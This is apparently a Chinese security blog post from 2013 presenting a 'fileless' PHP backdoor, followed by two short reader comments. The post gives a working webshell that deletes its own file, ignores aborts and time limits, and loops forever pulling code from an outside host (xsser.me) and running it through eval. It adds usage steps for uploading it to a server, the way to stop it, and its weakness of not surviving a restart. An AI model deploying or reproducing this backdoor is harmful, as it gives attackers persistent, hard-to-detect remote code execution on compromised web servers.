PHP 无文件后门

分类:安全 | 2013-10-9 | 撸过 287 次
5人扯谈

 

webshell.php

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);

$remote_file = 'http://xsser.me/webshel.txt';
while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};
?>

eval.txt

file_put_contents('1.txt','hello world '.time());

使用方式

webshel.php 传到服务器之后访问一次他会自删除。但,依然会在后台执行 eval.txt 中的代码。

停止执行

删除或清空 webshel.txt。

缺点

服务器或WEB容器一重启后门就没了。

本站内容均为原创,转载请务必保留署名与链接!
PHP 无文件后门:https://www.webshell.cc/4444.html

随机日志

  1. 很鸡肋啊~会循环执行eval.txt 中的php code 而且更换php code 不方便

  2. Pingback: PHP 无文件后门 – abcdos'blog